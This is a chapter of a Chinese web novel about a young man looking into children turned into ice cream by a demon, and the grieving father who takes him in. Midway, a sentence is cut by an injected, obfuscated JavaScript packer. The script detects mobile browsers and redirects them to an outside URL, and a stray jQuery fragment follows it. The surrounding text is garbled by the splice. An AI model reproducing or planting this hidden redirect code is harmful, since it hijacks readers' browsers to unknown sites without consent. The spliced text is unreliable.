森山秀利答应了,苑原先生现在的状态不太好,有些放心不下他一个人留在房子里。
他让苑原先生跟在他身后,他拿了把扫把当作护身武器,好用的铁棍放在赤坂家忘记拿了。
他们最先去的是大助家,他家最近就相隔两个门牌号。
森山秀利走在楼道里,脚下的黏腻感越来越重就像走在胶水铺成的路一样。
“啪叽...啪叽...” 像是有什么东西在鞋底反复黏连又撕开。
森山秀利敲了敲暗红色的门,“请问有人在吗?”
——无人回应。
森山秀利感觉到拉着自己衣角的苑原先生抖得厉害,他以为最坏的结果已经发生了,心中默念抱歉打算破门而入。
“吱吖——” 门开了,一个短发女人探出一颗头疑惑的问他们,
“你们是谁啊?”
森山秀利没有耐心和她说一些社交废话,他选择单刀直入:
“请问您的孩子,大助回来了吗?”
“哎呦,你在说什么啊小哥...” 短发女人像听到什么好笑的话一样, “我还没有孩子呢。”
“不过大助这个名字真不错,我的孩子以后可以叫这个名字。”
没有对大人下手但剥夺了母亲对孩子的记忆吗?真是恶劣。
“好的,大概是我搞错了,我先不打扰你了。” 森山秀利带着苑原先生离开了,他准备把苑原先生认识的不认识的都问一遍。
结果就是,这栋公寓的所有孩子的父母都不记得他们有过孩子了,好像随着孩子们的融化连记忆都在他们脑子里融化了。
这不是森山秀利无端猜测,每户人家他都告诉了孩子的名字,只要父母重复名字,他们的鼻子下就会流出像鼻涕般的粘液。
看来向周围人了解月见里这条路走不通了。
回到苑原先生家,森山秀利向他借了本子和笔,记录下为数不多的线索:
1.月见里是恶魔。
2.孩子们长期吃恶魔制造的冰淇淋最后变成冰淇淋融化
3.恶魔说过我的灵魂很耀眼,所以,它想要我的灵魂。
4.恶魔拥有穿梭世界的能力。
...
有哪里不对劲,森山秀利皱着眉,他好像忘掉了什么线索。
他开始从第一次见到月见里回想,在巷子里迷路然后遇到月见里,然后把他送到公寓,然后唱着歌离开...等等,那首冰淇淋之歌是并不是从车顶的音响传来的而是从...前面传来的!
他的耳朵很灵敏,不可能会听错。
那辆冰淇淋车,浑身是粉红色的,车灯是很逼真的眼睛,在夜晚照射着紫红色的光,还有...还有什么?
在被恶魔注视着的时候还有一道视线,只不过他那时候所有的注意力都放在恶魔身上,那道视线的方向...是车灯!
冰淇淋车是活的!
森山秀利的手一抖,干净的纸面上多了一条墨痕。
所以他那天坐在了一个活物身上,还和恶魔聊天?!
森山秀利:我好牛掰啊。
下次再也不做陌生人的车了。
“那...那个,已经很晚了。” 苑原一直观察着森山秀利,想让他留在这里但又不知道怎么开口。
森山秀利看了一眼时间,已经快八点了,再待下去会打扰到别人休息。
“不好意思,我没注意时间...”
苑原急忙打断他的话, “不是,我是想问你今晚能不能留下来。”
森山秀利一愣,看着苑原先生彷徨的脸,大概明白了他是不敢一个人睡觉。
“可以的,正好我今天没地方住。” 本来他今天都打算睡在便利店的,睡在沙发上总比睡着桌子上好。
苑原没想到森山秀利爽快的答应了,他以为再怎么样森山秀利会回家的,结果他说没地方住,是离家出走吗?
那...他离家出走期间会一直在这里住吗?
*
睡不着。
森山秀利睁着眼睛看着天花板。
房子只有两个房间可以睡人,一个是友树的,一个是苑原先生的。
友树的房间森山秀利看了,一地的粘液住不了人,他原本想睡在沙发上的但是苑原先生说可以跟他一起住。
于是,森山秀利放弃了对于他的身高来说太过窄小的沙发,看苑原先生忙前忙后的给他找换洗衣物,给他铺床。
别误会,是他和苑原先生一人一床被子,至于为什么没有打地铺。
森山秀利:已经够麻烦别人的了,而且地上黏黏的我不想睡。
本来他是睡得好好的,但半夜被苑原先生做噩梦的哭声吵醒了。
苑原先生整个人缩在被子里,哭泣的声音隐隐约约从被子里传来,森山秀利小声地叫着他的名字,试图把他从噩梦中唤醒。
“苑原先生...苑原先生...”
苑原没有反应,森山秀利直接掀开被子,苑原已经被冷汗浸湿了,他的唇上都是斑斑血迹。
森山秀利犹豫的抬起手,想着要不要把他打醒,但是苑原先生好心收留自己...算了。
森山秀利靠近苑原,一只手掐在他的下巴强行掰开他的嘴,另一只手安抚着轻拍着他的背,
“没事了,苑原先生,我在这里...不要怕。”
也许是感受到了另一个人的体温,苑原渐渐安静了下来,他埋进了森山秀利怀里沉沉睡去,只剩不敢动的森山秀利夜不能寐。
森山秀利:......
算了,又不是没抱过人睡过。
森山秀利感受着脖子上的呼吸声,闭着眼睛进入睡眠。
*
森山秀利头一点一点吃着早饭,他朝厨房喊道:“苑原先生,别再里面了出来吃饭吧。”
苑原先生从他怀里醒来以后就不怎么对劲,做饭的时候还把鸡蛋倒进了垃圾桶鸡蛋壳放在了碗里,看不下去的森山秀利接手了厨房。
是在为早上的事尴尬吗?
森山秀利倒没觉得有什么,国中的时候他经常会和押切一起睡觉,特别是冬天,每次早上一醒来他都能在怀里发现多了一个人。
都是男的,又不是脱光了睡一觉。
苑原还是出来了,他有点不敢看森山秀利,今天早上发生的事对他来说太尴尬了,特别是他还紧紧抱着森山秀利。
“抱歉啊,你明明是客人却让你来做饭。”
森山秀利想起来那盘糕点,觉得早上还是吃点儿好的才对得起自己的胃。
森山秀利:“没事,苑原先生还记得昨天发生的事吗?”
他并不是故意戳别人伤口,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16984325|193605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是想知道苑原先生有没有遗忘自己的孩子,如果他的记忆也消失的话,那森山秀利要重新修改计划了。
“我,我还记得,我记得友树他...” 苑原一想起昨天的事身体就忍不住发抖,他亲手把儿子的脑袋拍了下来,是他没有阻止友树继续吃冰淇淋,他明明已经觉得不对劲了...
一杯热牛奶放在了他的手边,苑原回过神来,是森山秀利,他正担忧的看着自己,
“抱歉,我并非有意,只是想知道你有没有中招。”
“忘掉友树吗?” 苑原苦笑, “大概是我没有吃冰淇淋的缘故吧,我对发生的一切都记得清清楚楚的。”
可能吧,已经发生的事做不了改变,现在能做的只有杀掉那个恶魔,森山秀利不信恶魔潜伏了这么长时间就为了让几个孩子变成冰淇淋。
说不定孩子们的灵魂在恶魔那里,森山秀利不是什么善人,自己还在危险期还要去帮别人,只是他觉得至少他们要享受本应属于他们的未来。
自己的计划要再加上一条了。
“感谢你的收留了,苑原先生。” 今天还要去赤坂家解决吕木一家的问题,不能再耽搁了。
“我先告辞了。”
要走了吗...他要离开了吗,我以后...都见不到他了吗?
“如果...你没有住处的话,可以住在我这里。” 苑原还是说出了口,或许少年已经准备结束离家出走的游戏,但他还是想留给他一个印象。
是因为友树的事对他产生了依赖吗?
——不太想改。
森山秀利烦恼着如果从赤坂家搬出来的话要住在哪里,诚二先生家肯定不行,他不想看别人眼色,天天住便利店也行不通,会被店员注意到的。
万一被当作离家出走的学生叫警察就完蛋了,这里可查不到他的信息。
难道要睡桥洞吗?
——好像也不是不行。
正当森山秀利思考这个办法的可能性时,
“...可以住在我这里。” 谁,是谁发出的天籁。
森山秀利眼睛一亮,他看向苑原先生苍白俊秀的脸,“苑原先生的意思是说,我可以住在这里吗?”
见苑原先生点头,森山秀利用力握住他的手,
“谢谢你苑原先生!我还以为我要睡桥洞了。” 世上还是好人多啊...除了上次那个冰淇淋恶魔。
苑原有些心疼森山秀利,怎么会有人忍心让那么好的孩子睡桥洞呢,他的父母太不负责任了。
“不过我有一件事要先给你说。” 森山秀利不打算瞒着自己跟传染病携带者接触过的事实,最坏的结果无非是睡六天桥洞。
他扛得住!
“我之前是和别人住一块的,他们的孩子身上有着像霉菌一样的斑...” 森山秀利解释道,“可能是传染类型的病菌,如果苑原先生介意的话拒绝也没有关系。”
森山秀利的眼睛是浅色的,直视人眼睛的时候仿佛能把人看穿,
“我不希望苑原先生勉强回答之后又后悔。”
“我不会的。” 绝对不会。
森山秀利:好人啊,感动.JPG。
“那接下来的6天时间请多指教了。”
少年笑的很灿烂,灿烂的让苑原忘记问他说的6天是什么意思了。